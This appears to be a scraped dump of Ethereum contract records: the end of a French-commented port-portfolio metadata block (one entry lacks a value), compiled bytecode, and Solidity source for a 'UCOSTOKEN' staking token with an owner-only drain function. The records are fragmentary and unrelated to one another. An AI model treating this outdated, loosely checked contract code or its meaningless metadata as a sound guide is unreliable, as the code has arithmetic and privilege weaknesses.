> // < SEAPORT_Portfolio_III_metadata_line_10_____Tiksi_Sea_Trade_Port_20250515 > // < vkRd5lc9vwQ617sym4tZlrKYLP9NgRaLRMYWZUKi3h9o309pAF5sSQ76dB335HB8 > // < 1E-018 limites [ 286188807,503747 ; 304798054,669959 ] > // < 0x00000000000000000000000000000000000000000000006A9D178E2718BCEE0E > // Programme d'émission - Lignes 11 à 20 // // // // // [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ] // [ Adresse exportée ] // [ Unité ; Limite basse ; Limite haute ] // [ Hex ] // // // // < SEAPORT_Portfolio_III_metadata_line_11_____Tobolsk_Port_Spe_Value_20250515 > // < wRSgAc7u9737tR1FuoqP4sv411n24z5wzJj962ZE53Y9v6W4LemGmPQmfDJFc4N3 > // < 1E-018 limites [ 304798054,669959 ; 325878450,352155 ] > // < 0x0000000000000000000000000000000000000000000000718BCEE0E796630F9F > // < SEAPORT_Portfolio_III_metadata_line_12_____Tuapse_Port_Authorities_20250515 > // < ip2vLH3dp1Ba92GE8v96OjbL61sY09p17WwwTN0FG18Ye17Y12zC53kn7sup03hY > // < 1E-018 limites [ 325878450,352155 ; 361292717,805315 ] > // < 0x0000000000000000000000000000000000000000000000796630F9F86978F1D8 > // < SEAPORT_Portfolio_III_metadata_line_13_____Tver_Port_Spe_Value_20250515 > // < Aq5Q9Po2200gW6e6b2t03NL8GFw7JFmbB3b4C0TpTQ994er7EM1YauXiI33IxW01 > // < 1E-018 limites [ 361292717,805315 ; 395369082,633462 ] > // < 0x000000000000000000000000000000000000000000000086978F1D89349559DB > // < SEAPORT_Portfolio_III_metadata_line_14_____Tyumen_Port_Spe_Value_20250515 > // < SY0aY8j8i2rmOndg2b03eiH7x1G4yM8n65rTekl2pV2wkEMg0326MC3P049sQ506 > // < 1E-018 limites [ 395369082,633462 ; 420347407,677249 ] > // < 0x00000000000000000000000000000000000000000000009349559DB9C9774013 > // < SEAPORT_Portfolio_III_metadata_line_15_____Ufa_Port_Spe_Value_20250515 > // < L4v5xA9MHZ32pZDV9qy01iPa77End75530ap7IE3E6J272VCqf6empc09WYBj39q > // < 1E-018 limites [ 420347407,677249 ; 462027798,80836 ] > // < 0x00000000000000000000000000000000000000000000009C9774013AC1E67ADC > // < SEAPORT_Portfolio_III_metadata_line_16_____Uglegorsk_Port_Authority_20250515 > // < oL3NYWz1e51A0D2zh322D07ieo9gKBGJP3YUx1QfBuo9vnvPmO4XFLevcYhXgx42 > // < 1E-018 limites [ 462027798,80836 ; 502237837,104432 ] > // < 0x0000000000000000000000000000000000000000000000AC1E67ADCBB1922112 > // < SEAPORT_Portfolio_III_metadata_line_17_____Ulan_Ude_Port_Spe_Value_20250515 > // < Lv74GT72ohrtHeJEn89Z4B3Y4fOIcR50X8364B3xJM4Gs568mOVC8PMIuMO1KyD1 > // < 1E-018 limites [ 502237837,104432 ; 520875103,568488 ] > // < 0x0000000000000000000000000000000000000000000000BB1922112C20A85748 > // < SEAPORT_Portfolio_III_metadata_line_18_____Ulyanovsk_Port_Spe_Value_20250515 > // < 84GW3dV0XuhV4Jak0oq2MLkWew6zBiFe3OUVFQ6r09kV9k2WJO66q4jlWRS3FsoR > // < 1E-018 limites [ 520875103,568488 ; 552770599,01717 ] > // < 0x0000000000000000000000000000000000000000000000C20A85748CDEC50131 > // < SEAPORT_Portfolio_III_metadata_line_19_____Ust_Kamchatsk_Sea_Trade_Port_20250515 > // < 3tWA9OCwOKFe6y1L5NrVDJ4rh0406V38xm6E2atggMI22cilcz46m8CYZ1PO4GuL > // < 1E-018 limites [ 552770599,01717 ; 587907385,448652 ] > // < 0x0000000000000000000000000000000000000000000000CDEC50131DB0337C64 > // < SEAPORT_Portfolio_III_metadata_line_20_____Ust_Luga_Sea_Port_20250515 > // < 5As75P0g4be7PW4e9Zn7J56DOFW4H0xDj1w9r54nchEc9Ca6xqVa8j503vtH8N3E > // < 1E-018 limites [ 587907385,448652 ; 613230699,671525 ] > // < 0x0000000000000000000000000000000000000000000000DB0337C64E4723CC03 > // Programme d'émission - Lignes 21 à 30 // // // // // [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ] // [ Adresse exportée ] // [ Unité ; Limite basse ; Limite haute ] // [ Hex ] // // // // < SEAPORT_Portfolio_III_metadata_line_21_____Vanino_Port_Authority_20250515 > // < 39aulGJyRds06AFT7h4wRrtybJoyh3VY1o4qwPH6w7y9yQdEEF9LkFRiZ2X7bEDo > // < 1E-018 limites [ 613230699,671525 ; 640293991,473941 ] > // < 0x0000000000000000000000000000000000000000000000E4723CC03EE8731A5F > // < SEAPORT_Portfolio_III_metadata_line_22_____Central_Office_of_the_Port_Vitino_20250515 > // < HNG2jKb45O3L11Pd6L6vI0tsOWWSiWL2917u8v2gfBqz1819mpwdN4U3I4Ims9GM > // < 1E-018 limites [ 640293991,473941 ; 660992415,885237 ] > // < 0x0000000000000000000000000000000000000000000000EE8731A5FF63D26468 > // < SEAPORT_Portfolio_III_metadata_line_23_____The_Commercial_Port_of_Vladivostok_JSC_20250515 > // < 9zM1rnfY7vE6iI6bm4zDML3lw3pBbq9aEgPfMDQmb5uEJ1G8FuC5KZ4U14r2Ju8B > // < 1E-018 limites [ 660992415,885237 ; 683795047,249155 ] > // < 0x0000000000000000000000000000000000000000000000F63D26468FEBBC7248 > // < SEAPORT_Portfolio_III_metadata_line_24_____Volgodonsk_Port_Spe_Value_20250515 > // < r05hMwcuypt87uPYC18Ho34Z3sN5cjzVC7ju30r94aXGDVcc1h33ZEPwruEP7blm > // < 1E-018 limites [ 683795047,249155 ; 703376088,063585 ] > // < 0x000000000000000000000000000000000000000000000FEBBC7248106072BE5A > // < SEAPORT_Portfolio_III_metadata_line_25_____Volgograd_Port_Spe_Value_20250515 > // < 9D54iqqWQS54yK1y2V1F170MnTVoOSVDX88yBmBrO49M0AOVX8Ymj3XhZ4T36i25 > // < 1E-018 limites [ 703376088,063585 ; 731646315,773686 ] > // < 0x00000000000000000000000000000000000000000000106072BE5A1108F3B00D > // < SEAPORT_Portfolio_III_metadata_line_26_____Vostochny_Port_Joint_Stock_Company_20250515 > // < lR9M5NbL836b6w5LHQJS57c9PWlx1Qp63fTRXjctzLI7h9qk40441sS3Ap97y7Zr > // < 1E-018 limites [ 731646315,773686 ; 780063148,45697 ] > // < 0x000000000000000000000000000000000000000000001108F3B00D122989E951 > // < SEAPORT_Portfolio_III_metadata_line_27_____Vyborg_Port_Authority_20250515 > // < F24J8d041LE7XWQ2zNZo1Fw51936xt4n9I32BtBjGXe6tIRLLEBJU0LX64H8auhs > // < 1E-018 limites [ 780063148,45697 ; 829618161,684538 ] > // < 0x00000000000000000000000000000000000000000000122989E9511350E8DC5C > // < SEAPORT_Portfolio_III_metadata_line_28_____Vysotsk_Marine_Authority_20250515 > // < QGiqn7rhKaF71L7264mG0LsN4n5lS3o1p56SoLZ30uUFcbtOD7ahRDOHUUeW5eJN > // < 1E-018 limites [ 829618161,684538 ; 858789215,737113 ] > // < 0x000000000000000000000000000000000000000000001350E8DC5C13FEC85B59 > // < SEAPORT_Portfolio_III_metadata_line_29_____Yakutsk_Port_Spe_Value_20250515 > // < 9Zak1LcP7Ry6xyk8X2HR8GtDm8jFy6Bf0lfSNY6H1R318Pw8N94mMD3TgddeYTZP > // < 1E-018 limites [ 858789215,737113 ; 877520452,855942 ] > // < 0x0000000000000000000000000000000000000000000013FEC85B59146E6DF4D9 > // < SEAPORT_Portfolio_III_metadata_line_30_____Yaroslavl_Port_Spe_Value_20250515 > // < 5six2Pnpiexpjh2VbtkoVz2eXW64ffr7lf43f6u8vO2TC5ESQFkre8Wbt5G29Jfq > // < 1E-018 limites [ 877520452,855942 ; 895890545,002664 ] > // < 0x00000000000000000000000000000000000000000000146E6DF4D914DBEC7E18 > // Programme d'émission - Lignes 31 à 40 // // // // // [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ] // [ Adresse exportée ] // [ Unité ; Limite basse ; Limite haute ] // [ Hex ] // // // // < SEAPORT_Portfolio_III_metadata_line_31_____JSC_Yeysk_Sea_Port_20250515 > // < pTfIoP5B71IjOIDy7STbd93z2TTvWZ6Bo1yi2qUs71qKl0x6WBTRZAf4KtPW7KZ9 > // < 1E-018 limites [ 895890545,002664 ; 934213684,631552 ] > // < 0x0000000000000000000000000000000000000000000014DBEC7E1815C058F683 > // < SEAPORT_Portfolio_III_metadata_line_32_____Sea_Port_Zarubino_20250515 > // < 35iRQRc7d4oqehkoE2H0mDTwAp56Z0Hkc0Pud1355dAhgBW9cfh5W7Dj7bxKX8Wt > // < 1E-018 limites [ 934213684,631552 ; 959658988,283161 ] > // < 0x0000000000000000000000000000000000000000000015C058F6831658036A40 > // < SEAPORT_Portfolio_III_metadata_line_33_____Sevastopol_Marine_Trade_Port_20250515 > // < 4JMz36v5PCfa2a5D9t5pVee9uj2a91K2uwu66pd7jwC4BtUFZ2I1NAGH5u3975aW > // < 1E-018 limites [ 959658988,283161 ; 985045862,526475 ] > // < 0x000000000000000000000000000000000000000000001658036A4016EF54B600 > // < SEAPORT_Portfolio_III_metadata_line_34_____Sevastopol_Port_Spe_Value_20250515 > // < avvhK50jO2100iyoD90rtiztQk2jM3taYJu276ztIL7L3Q3SsyceeB3I6Pb3hO1V > // < 1E-018 limites [ 985045862,526475 ; 1032997479,62945 ] > // < 0x0000000000000000000000000000000000000000000016EF54B600180D25126E > // < SEAPORT_Portfolio_III_metadata_line_35_____Kerchenskaya_Port_Spe_Value_20250515 > // < cic5VJFMi81xaZj32KX2RyUUYOxcl8zF9JSgfTE5cfkSnRVK4r4PT28pBUfg7t9Q > // < 1E-018 limites [ 1032997479,62945 ; 1070357995,06771 ] > // < 0x00000000000000000000000000000000000000000000180D25126E18EBD4B1C6 > // < SEAPORT_Portfolio_III_metadata_line_36_____Kerch_Port_Spe_Value_20250515 > // < D6x4v1q911564i9Rrq5JafT2sI0n3bO3n4MTCXCC7VgvI5Tmd4KS8I0F3J3iJ4cS > // < 1E-018 limites [ 1070357995,06771 ; ] > // < 0x0000000000000000000000000000000000000000000018EBD4B1C619F59EB05B > // < SEAPORT_Portfolio_III_metadata_line_37_____Feodossiya_Port_Spe_Value_20250515 > // < Z3bE0OY4xv7yjGv7guebeSCVzTM7203t7ESbk2FYFuxI54946y1WmxbO612vDz7N > // < 1E-018 limites [ 1114949996,557 ; 1133401209,07297 ] > // < 0x0000000000000000000000000000000000000000000019F59EB05B1A6399013F > // < SEAPORT_Portfolio_III_metadata_line_38_____Yalta_Port_Spe_Value_20250515 > // < 50bSWARbOkzihMKN3IO7g68xe9jsNnd74e6L27GVyyEw9fFV9JPmz98BN2SICuw3 > // < 1E-018 limites [ 1133401209,07297 ; 1151185727,68806 ] > // < 0x000000000000000000000000000000000000000000001A6399013F1ACD9A06D4 > // < SEAPORT_Portfolio_III_metadata_line_39_____Vidradne_Port_Spe_Value_20250515 > // < So3gwQ0q543zXBPdte61LQR0Fyr5y7gMjPkyXnq0MK06h3Ret7d17D0y7e634sKw > // < 1E-018 limites [ 1151185727,68806 ; 1171897491,37218 ] > // < 0x000000000000000000000000000000000000000000001ACD9A06D41B490DAB85 > // < SEAPORT_Portfolio_III_metadata_line_40_____Severodvinsk_Port_Spe_Value_20250515 > // < EIlp4lJNYvWhXgSGfW9116Ta4pi97r0f4s08nIb933w154A2C7ze9W3cbo41R4Tc > // < 1E-018 limites [ 1171897491,37218 ; 1212351653,64926 ] > // < 0x000000000000000000000000000000000000000000001B490DAB851C3A2DD2A8 > }
0x6060604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100a9578063095ea7b31461013757806318160ddd1461019157806323b872dd146101ba578063313ce5671461023357806370a082311461026257806395d89b41146102af578063a9059cbb1461033d578063b5c8f31714610397578063dd62ed3e146103ac575b600080fd5b34156100b457600080fd5b6100bc610418565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100fc5780820151818401526020810190506100e1565b50505050905090810190601f1680156101295780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014257600080fd5b610177600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506104b6565b604051808215151515815260200191505060405180910390f35b341561019c57600080fd5b6101a46105a8565b6040518082815260200191505060405180910390f35b34156101c557600080fd5b610219600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105ae565b604051808215151515815260200191505060405180910390f35b341561023e57600080fd5b61024661081a565b604051808260ff1660ff16815260200191505060405180910390f35b341561026d57600080fd5b610299600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061082d565b6040518082815260200191505060405180910390f35b34156102ba57600080fd5b6102c2610845565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103025780820151818401526020810190506102e7565b50505050905090810190601f16801561032f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561034857600080fd5b61037d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108e3565b604051808215151515815260200191505060405180910390f35b34156103a257600080fd5b6103aa610a39565b005b34156103b757600080fd5b610402600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ae8565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104ae5780601f10610483576101008083540402835291602001916104ae565b820191906000526020600020905b81548152906001019060200180831161049157829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156105fd57600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561068857600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108db5780601f106108b0576101008083540402835291602001916108db565b820191906000526020600020905b8154815290600101906020018083116108be57829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561093257600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6004546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040518082815260200191505060405180910390a3565b60056020528160005260406000206020528060005260406000206000915091505054815600a165627a7a72305820a807efd7aea9b87ac82704ce1247644839975f84f6754b8921e4051f84258bd70029
{"success": true, "error": null, "results": {}}
10,457
0xd8d887b5611a5b3e90bf764085d9858031d2be67
pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function percent(uint value,uint numerator, uint denominator, uint precision) internal pure returns(uint quotient) { uint _numerator = numerator * 10 ** (precision+1); uint _quotient = ((_numerator / denominator) + 5) / 10; return (value*_quotient/1000000000000000000); } } contract ERC20 { function totalSupply()public view returns (uint total_Supply); function balanceOf(address who)public view returns (uint256); function allowance(address owner, address spender)public view returns (uint); function transferFrom(address from, address to, uint value)public returns (bool ok); function approve(address spender, uint value)public returns (bool ok); function transfer(address to, uint value); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract UCOSTOKEN is ERC20 { using SafeMath for uint256; string public constant name = "UCOSTOKEN"; // Name of the token string public constant symbol = "UCOS"; // Symbol of token uint8 public constant decimals = 18; // Decimal of token uint public premined = 45000000 * 10 ** 18; // 45 million in premined uint public smartmine = 60000000 * 10 ** 18; // 60 million in Smart Mining uint public posmine = 45000000 * 10 ** 18; // 45 million in POS Mining address public owner; // Owner of this contract address public founder; address public developer; uint256 internal stakePer_ = 1500000000000000000; //POS stake percent mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal stakeBalanceLedger_; mapping(address => uint256) internal stakingTime_; mapping(address => uint256) internal mintingDate; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; //Genesis Mining start uint256 public totalGenesisAddresses; uint256 public currentGenesisAddresses; uint256 public initialSupplyPerAddress; uint256 public initialBlockCount; uint256 private minedBlocks; uint256 public rewardPerBlockPerAddress; uint256 private availableAmount; uint256 private availableBalance; uint256 private totalMaxAvailableAmount; mapping (address => bool) public genesisAddress; modifier onlyOwner() { if (msg.sender != owner) { revert(); } _; } function UCOSTOKEN() { uint developerbal = 2250000 * 10 ** 18; //5% from premined for developer developer = 0x120f8717d16d4167DA4e8c6217Ba718cA2C299fB; founder = 0xe860E8A7d8AC08AfBB0b03BCB5c0B822A776159C; balances[msg.sender] = developerbal; Transfer(0, msg.sender, developerbal); balances[founder] = premined - developerbal; Transfer(0, founder, premined - developerbal); rewardPerBlockPerAddress = 38051750000000000; initialSupplyPerAddress = 400000 * 10 ** 18; totalGenesisAddresses = 150; currentGenesisAddresses = 0; initialBlockCount = block.number; } // What is the balance of a particular account? function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } // Token minting function function mint(uint256 _amountOfTokens) public{ address _customerAddress = msg.sender; require(_amountOfTokens >= 1000 * 10 ** 18); require (balances[_customerAddress] >= _amountOfTokens); stakingTime_[_customerAddress] = now; stakeBalanceLedger_[_customerAddress] = SafeMath.add(stakeBalanceLedger_[_customerAddress], _amountOfTokens); balances[_customerAddress] = SafeMath.sub(balances[_customerAddress], _amountOfTokens); } function stakeTokensTime(address _customerAddress) public view returns(uint256){ return stakingTime_[_customerAddress]; } function unmint() public { address _customerAddress = msg.sender; uint256 _amountOfTokens = stakeBalanceLedger_[_customerAddress]; uint256 timediff = SafeMath.sub(now, stakingTime_[_customerAddress]); uint256 dayscount = SafeMath.div(timediff, 604800); //Weekly POS rewards uint256 roiPercent = SafeMath.mul(dayscount, stakePer_); uint256 roiTokens = SafeMath.percent(_amountOfTokens,roiPercent,100,18); uint256 finalBalance = SafeMath.add(_amountOfTokens,roiTokens/1e18); balances[_customerAddress] = SafeMath.add(balances[_customerAddress], finalBalance); stakeBalanceLedger_[_customerAddress] = 0; stakingTime_[_customerAddress] = 0; } // Send _value amount of tokens from address _from to address _to // The transferFrom method is used for a withdraw workflow, allowing contracts to send // tokens on your behalf, for example to "deposit" to a contract address and/or to charge // fees in sub-currencies; the command should fail unless the _from account has // deliberately authorized the sender of the message via some mechanism; we propose // these standardized APIs for approval: function transferFrom( address _from, address _to, uint256 _amount ) public returns (bool success) { require( _to != 0x0); require(balances[_from] >= _amount && allowed[_from][msg.sender] >= _amount && _amount >= 0); balances[_from] = (balances[_from]).sub(_amount); allowed[_from][msg.sender] = (allowed[_from][msg.sender]).sub(_amount); balances[_to] = (balances[_to]).add(_amount); Transfer(_from, _to, _amount); return true; } // Allow _spender to withdraw from your account, multiple times, up to the _value amount. // If this function is called again it overwrites the current allowance with _value. function approve(address _spender, uint256 _amount) public returns (bool success) { require( _spender != 0x0); allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { require( _owner != 0x0 && _spender !=0x0); return allowed[_owner][_spender]; } function transfer(address _to, uint256 _value) { if (genesisAddress[_to]) throw; if (balances[msg.sender] < _value) throw; if (balances[_to] + _value < balances[_to]) throw; if (genesisAddress[msg.sender]) { minedBlocks = block.number - initialBlockCount; if(minedBlocks % 2 != 0){ minedBlocks = minedBlocks - 1; } if (minedBlocks < 10512000) { availableAmount = rewardPerBlockPerAddress*minedBlocks; totalMaxAvailableAmount = initialSupplyPerAddress - availableAmount; availableBalance = balances[msg.sender] - totalMaxAvailableAmount; if (_value > availableBalance) throw; } } balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); } // Transfer the balance from owner's account to another account function transferTokens(address _to, uint256 _amount) private returns (bool success) { require( _to != 0x0); require(balances[address(this)] >= _amount && _amount > 0); balances[address(this)] = (balances[address(this)]).sub(_amount); balances[_to] = (balances[_to]).add(_amount); Transfer(address(this), _to, _amount); return true; } function currentEthBlock() constant returns (uint256 blockNumber) { return block.number; } function currentBlock() constant returns (uint256 blockNumber) { if(initialBlockCount == 0){ return 0; } else{ return block.number - initialBlockCount; } } //set Genesis function setGenesisAddressArray(address[] _address) public returns (bool success) { if(initialBlockCount == 0) throw; uint256 tempGenesisAddresses = currentGenesisAddresses + _address.length; if (tempGenesisAddresses <= totalGenesisAddresses ) { if (msg.sender == developer) { currentGenesisAddresses = currentGenesisAddresses + _address.length; for (uint i = 0; i < _address.length; i++) { balances[_address[i]] = initialSupplyPerAddress; genesisAddress[_address[i]] = true; } return true; } } return false; } function availableBalanceOf(address _address) constant returns (uint256 Balance) { if (genesisAddress[_address]) { minedBlocks = block.number - initialBlockCount; if(minedBlocks % 2 != 0){ minedBlocks = minedBlocks - 1; } if (minedBlocks >= 10512000) return balances[_address]; availableAmount = rewardPerBlockPerAddress*minedBlocks; totalMaxAvailableAmount = initialSupplyPerAddress - availableAmount; availableBalance = balances[_address] - totalMaxAvailableAmount; return availableBalance; } else { return balances[_address]; } } function totalSupply() constant returns (uint256 totalSupply) { if (initialBlockCount != 0) { minedBlocks = block.number - initialBlockCount; if(minedBlocks % 2 != 0){ minedBlocks = minedBlocks - 1; } availableAmount = rewardPerBlockPerAddress*minedBlocks; } else{ availableAmount = 0; } return availableAmount*totalGenesisAddresses+premined+posmine; } function maxTotalSupply() constant returns (uint256 maxSupply) { return initialSupplyPerAddress*totalGenesisAddresses+premined+posmine; } function drain() external onlyOwner { owner.transfer(this.balance); } }
0x608060405260043610610180576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610185578063095ea7b31461021557806309f6c6071461027a5780630ccde0b1146102a557806318160ddd146102d05780631cc54204146102fb57806323b872dd1461032657806325d998bb146103ab5780632ab4d052146104025780632c30268e1461042d5780632d936b4614610458578063313ce5671461048357806335f368d7146104b45780634d853ee5146104cb57806370a082311461052257806377e79b41146105795780637e5713d9146105d05780638da5cb5b1461064e57806392285db5146106a557806395d89b41146106d057806397b4ddac146107605780639890220b1461078b578063a0712d68146107a2578063a9059cbb146107cf578063ca4b208b1461081c578063d95efb9814610873578063dd62ed3e146108ce578063e00686e414610945578063e12ed13c14610970578063e5f65c711461099b575b600080fd5b34801561019157600080fd5b5061019a6109c6565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101da5780820151818401526020810190506101bf565b50505050905090810190601f1680156102075780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561022157600080fd5b50610260600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109ff565b604051808215151515815260200191505060405180910390f35b34801561028657600080fd5b5061028f610b16565b6040518082815260200191505060405180910390f35b3480156102b157600080fd5b506102ba610b1e565b6040518082815260200191505060405180910390f35b3480156102dc57600080fd5b506102e5610b24565b6040518082815260200191505060405180910390f35b34801561030757600080fd5b50610310610b90565b6040518082815260200191505060405180910390f35b34801561033257600080fd5b50610391600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b96565b604051808215151515815260200191505060405180910390f35b3480156103b757600080fd5b506103ec600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f49565b6040518082815260200191505060405180910390f35b34801561040e57600080fd5b506104176110d8565b6040518082815260200191505060405180910390f35b34801561043957600080fd5b506104426110ee565b6040518082815260200191505060405180910390f35b34801561046457600080fd5b5061046d6110f4565b6040518082815260200191505060405180910390f35b34801561048f57600080fd5b506104986110fa565b604051808260ff1660ff16815260200191505060405180910390f35b3480156104c057600080fd5b506104c96110ff565b005b3480156104d757600080fd5b506104e0611305565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561052e57600080fd5b50610563600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061132b565b6040518082815260200191505060405180910390f35b34801561058557600080fd5b506105ba600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611374565b6040518082815260200191505060405180910390f35b3480156105dc57600080fd5b50610634600480360381019080803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192905050506113bd565b604051808215151515815260200191505060405180910390f35b34801561065a57600080fd5b50610663611543565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106b157600080fd5b506106ba611569565b6040518082815260200191505060405180910390f35b3480156106dc57600080fd5b506106e561156f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561072557808201518184015260208101905061070a565b50505050905090810190601f1680156107525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561076c57600080fd5b506107756115a8565b6040518082815260200191505060405180910390f35b34801561079757600080fd5b506107a06115ae565b005b3480156107ae57600080fd5b506107cd6004803603810190808035906020019092919050505061168c565b005b3480156107db57600080fd5b5061081a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611857565b005b34801561082857600080fd5b50610831611b8e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561087f57600080fd5b506108b4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bb4565b604051808215151515815260200191505060405180910390f35b3480156108da57600080fd5b5061092f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bd4565b6040518082815260200191505060405180910390f35b34801561095157600080fd5b5061095a611ca3565b6040518082815260200191505060405180910390f35b34801561097c57600080fd5b50610985611ca9565b6040518082815260200191505060405180910390f35b3480156109a757600080fd5b506109b0611cc9565b6040518082815260200191505060405180910390f35b6040805190810160405280600981526020017f55434f53544f4b454e000000000000000000000000000000000000000000000081525081565b6000808373ffffffffffffffffffffffffffffffffffffffff1614151515610a2657600080fd5b81600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600043905090565b600f5481565b600080601054141515610b7357601054430360118190555060006002601154811515610b4c57fe5b06141515610b61576001601154036011819055505b60115460125402601381905550610b7c565b60006013819055505b600254600054600d54601354020101905090565b600d5481565b6000808373ffffffffffffffffffffffffffffffffffffffff1614151515610bbd57600080fd5b81600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610c88575081600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b8015610c95575060008210155b1515610ca057600080fd5b